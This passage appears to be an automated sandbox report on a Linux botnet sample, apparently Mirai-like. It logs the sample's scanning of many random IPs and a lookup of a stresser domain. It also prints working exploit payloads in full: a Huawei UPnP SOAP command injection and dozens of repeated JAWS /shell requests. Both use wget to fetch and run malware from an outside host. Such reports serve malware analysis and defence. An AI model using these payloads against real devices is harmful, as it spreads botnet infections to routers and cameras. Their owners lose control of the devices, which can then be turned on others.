3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/arm.elf (PID: 6259)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown

DNS traffic detected: query: scamanje.stresserit.pro replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 201.44.99.117
Source: unknown	TCP traffic detected without corresponding DNS query: 77.118.127.117
Source: unknown	TCP traffic detected without corresponding DNS query: 128.192.39.112
Source: unknown	TCP traffic detected without corresponding DNS query: 31.9.100.118
Source: unknown	TCP traffic detected without corresponding DNS query: 95.62.59.81
Source: unknown	TCP traffic detected without corresponding DNS query: 165.115.138.193
Source: unknown	TCP traffic detected without corresponding DNS query: 129.241.65.96
Source: unknown	TCP traffic detected without corresponding DNS query: 158.190.195.224
Source: unknown	TCP traffic detected without corresponding DNS query: 79.187.158.55
Source: unknown	TCP traffic detected without corresponding DNS query: 18.75.87.177
Source: unknown	TCP traffic detected without corresponding DNS query: 109.182.13.52
Source: unknown	TCP traffic detected without corresponding DNS query: 80.174.199.131
Source: unknown	TCP traffic detected without corresponding DNS query: 151.134.125.117
Source: unknown	TCP traffic detected without corresponding DNS query: 106.243.122.88
Source: unknown	TCP traffic detected without corresponding DNS query: 64.71.214.58
Source: unknown	TCP traffic detected without corresponding DNS query: 64.123.2.216
Source: unknown	TCP traffic detected without corresponding DNS query: 217.112.23.244
Source: unknown	TCP traffic detected without corresponding DNS query: 35.11.24.228
Source: unknown	TCP traffic detected without corresponding DNS query: 66.177.1.221
Source: unknown	TCP traffic detected without corresponding DNS query: 113.38.149.80
Source: unknown	TCP traffic detected without corresponding DNS query: 193.152.240.142
Source: unknown	TCP traffic detected without corresponding DNS query: 216.118.30.89
Source: unknown	TCP traffic detected without corresponding DNS query: 108.95.16.131
Source: unknown	TCP traffic detected without corresponding DNS query: 216.138.135.72
Source: unknown	TCP traffic detected without corresponding DNS query: 27.164.140.41
Source: unknown	TCP traffic detected without corresponding DNS query: 220.224.11.230
Source: unknown	TCP traffic detected without corresponding DNS query: 208.170.60.177
Source: unknown	TCP traffic detected without corresponding DNS query: 168.94.91.163
Source: unknown	TCP traffic detected without corresponding DNS query: 134.236.143.233
Source: unknown	TCP traffic detected without corresponding DNS query: 81.26.200.186
Source: unknown	TCP traffic detected without corresponding DNS query: 94.33.160.28
Source: unknown	TCP traffic detected without corresponding DNS query: 222.202.96.188
Source: unknown	TCP traffic detected without corresponding DNS query: 166.179.6.89
Source: unknown	TCP traffic detected without corresponding DNS query: 143.60.137.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.216.199.167
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.187.15
Source: unknown	TCP traffic detected without corresponding DNS query: 113.86.165.133
Source: unknown	TCP traffic detected without corresponding DNS query: 216.133.216.58
Source: unknown	TCP traffic detected without corresponding DNS query: 180.189.194.89
Source: unknown	TCP traffic detected without corresponding DNS query: 223.209.211.124
Source: unknown	TCP traffic detected without corresponding DNS query: 153.211.163.36
Source: unknown	TCP traffic detected without corresponding DNS query: 222.43.35.42
Source: unknown	TCP traffic detected without corresponding DNS query: 113.187.54.37
Source: unknown	TCP traffic detected without corresponding DNS query: 177.139.212.204
Source: unknown	TCP traffic detected without corresponding DNS query: 146.80.63.178
Source: unknown	TCP traffic detected without corresponding DNS query: 19.148.206.58
Source: unknown	TCP traffic detected without corresponding DNS query: 42.170.136.122
Source: unknown	TCP traffic detected without corresponding DNS query: 137.242.229.138
Source: unknown	TCP traffic detected without corresponding DNS query: 35.78.197.99
Source: unknown	TCP traffic detected without corresponding DNS query: 66.145.173.2

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
